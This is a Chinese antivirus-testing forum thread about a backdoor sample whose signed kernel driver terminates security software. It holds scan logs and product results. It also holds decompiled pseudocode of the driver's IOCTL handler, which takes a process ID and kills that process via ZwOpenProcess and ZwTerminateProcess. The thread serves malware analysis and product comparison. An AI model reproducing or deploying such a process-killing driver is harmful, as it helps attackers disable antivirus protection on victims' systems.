警惕，后门病毒签署有效数字签名驱动对抗防病毒软件

123456aaaafsdeg

=============================================
[2023-08-21 00:13:58]
威胁：c:\users\13928\desktop\desktop\fw1.exe
类型：win32.hack.farfli.gen.(kcloud)
处理方式：删除

[2023-08-21 00:13:58]
威胁：c:\users\13928\desktop\desktop\kavservice.bin
类型：win32.troj.agent.cks.(kcloud)
处理方式：删除

lcc1101

被kill

wowocock

00006666 发表于 2023-8-20 18:36
又不是whql签名，这类泄露的有效驱动签名几乎所有驱动木马都有

__int64 __fastcall DevCtrl(__int64 DeviceObject, __int64 Irp)
{
  unsigned int v3; // ebx
  unsigned int pid; // ebx
  char v5; // al
  const CHAR *v6; // rcx

  if ( *(_DWORD *)(*(_QWORD *)(Irp + 0xB8) + 0x18i64) == 0x222000 )
  {
    DbgPrint("Enter the IO \n");
    pid = **(_DWORD **)(Irp + 0x18);
    DbgPrint("Get PID : %d\n", pid);
    v5 = KillProcById(pid);
    v6 = "Kill Successful\n";
    if ( !v5 )
      v6 = "Kill Failed\n";
    v3 = 0;
    DbgPrint(v6);
  }
  else
  {
    v3 = 0xC0000001;
    DbgPrint("Unknown CODE!\n");
  }
  *(_QWORD *)(Irp + 56) = 0i64;
  *(_DWORD *)(Irp + 48) = v3;
  IofCompleteRequest((PIRP)Irp, 0);
  return v3;
}
char __fastcall KillProcById(unsigned int a1)
{
  int v2; // edi
  struct _CLIENT_ID ClientId; // [rsp+20h] [rbp-40h] BYREF
  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+30h] [rbp-30h] BYREF
  void *ProcessHandle; // [rsp+78h] [rbp+18h] BYREF

  memset(&ObjectAttributes.RootDirectory, 0, 20);
  ClientId.UniqueThread = 0i64;
  *(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0i64;
  ClientId.UniqueProcess = (HANDLE)(int)a1;
  ObjectAttributes.Length = 48;
  v2 = ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
  if ( v2 < 0 )
  {
    DbgPrint("Open Process %d Failed!\n", a1);
    return 0;
  }
  else
  {
    DbgPrint("Open Process %d Successful!\n", a1);
    ZwTerminateProcess(ProcessHandle, v2);
    ZwClose(ProcessHandle);
    return 1;
  }
}
就一个杀进程的驱动。

wwwab

wowocock 发表于 2023-8-21 10:39
__int64 __fastcall DevCtrl(__int64 DeviceObject, __int64 Irp)
{
  unsigned int v3; // ebx

这个马子似乎对 360 关照有加

00006666

wwwab 发表于 2023-8-21 10:53
这个马子似乎对 360 关照有加

大部分在野木马都会尝试对抗360，因为本身装机量大，木马落地很大概率见到的就是360这类的。

sanhu35

关键的2步  

Im_Zeus

诺顿剩两个

soaringmz

eset allkill

小Q机器人

GreatMOLA 发表于 2023-8-20 17:51
Gdata
执行 BEAST kill

现在GD 不卡了吗？

GreatMOLA

小Q机器人 发表于 2023-8-27 13:25
现在GD 不卡了吗？

我这里确实不卡了